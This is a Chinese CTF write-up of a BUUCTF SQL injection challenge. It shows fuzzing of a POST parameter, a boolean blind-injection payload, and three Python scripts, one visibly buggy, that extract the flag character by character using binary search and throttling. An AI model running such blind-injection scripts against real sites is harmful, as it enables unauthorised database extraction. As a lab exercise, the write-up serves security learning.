一道sql注入题
    image.png
    post传参,直接fuzz
    image.png
    482都是被ban的
    看到了sleep()没被ban感觉可以盲注
    库名和表明已经说了
    id=1和id=2回显不同
    image.png
    可以盲注
    不用时间了,换成bool盲注if(1=1,1,2)

    1. if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)

    image.png
    回显成功了
    写脚本

    1. import requests
    2. url="http://525676e8-8f44-4e3a-b146-5704dbe609db.node4.buuoj.cn/index.php"
    3. s=requests.session()
    4. str=""
    5. for i in range(1,50):
    6. for j in range(33,127):
    7. post="if(ascii(substr((select(flag)from(flag)),{},1))=,1,2)".format(i,j)
    8. data={"id":"post"}
    9. response=s.post(url=url,data=post)
    10. print(j)
    11. print(response.text)
    12. if "hello" in response.text:
    13. str+=chr(int(j))
    14. print(str)
    15. break

    buu不允许爆破,没拿到flag

    1. import requests
    2. s=requests.session()
    3. flag = ''
    4. url="http://525676e8-8f44-4e3a-b146-5704dbe609db.node4.buuoj.cn/index.php"
    5. for i in range(7,50):
    6. high=127
    7. low=32
    8. mid=(high+low)//2
    9. while high>low:
    10. sqls="if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)" %(i,mid)
    11. data={"id":sqls}
    12. c=s.post(url,data=data)
    13. if "Hello" in c.text:
    14. low=mid+1
    15. else:
    16. high=mid
    17. mid=(low+high)//2
    18. flag+= chr(int(mid))
    19. print(flag)

    二分法
    突发灵感加了sleep,搞定

    1. import requests
    2. import time
    3. s=requests.session()
    4. flag = ''
    5. url="http://44d7238f-f891-4a40-94f4-721eb158d101.node4.buuoj.cn/index.php"
    6. for i in range(1,50):
    7. high=127
    8. low=32
    9. mid=(high+low)//2
    10. while high>low:
    11. time.sleep(0.5)
    12. sqls="if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)" %(i,mid)
    13. data={"id":sqls}
    14. c=s.post(url,data=data)
    15. if "Hello" in c.text:
    16. low=mid+1
    17. else:
    18. high=mid
    19. mid=(low+high)//2
    20. flag+= chr(int(mid))
    21. print(flag)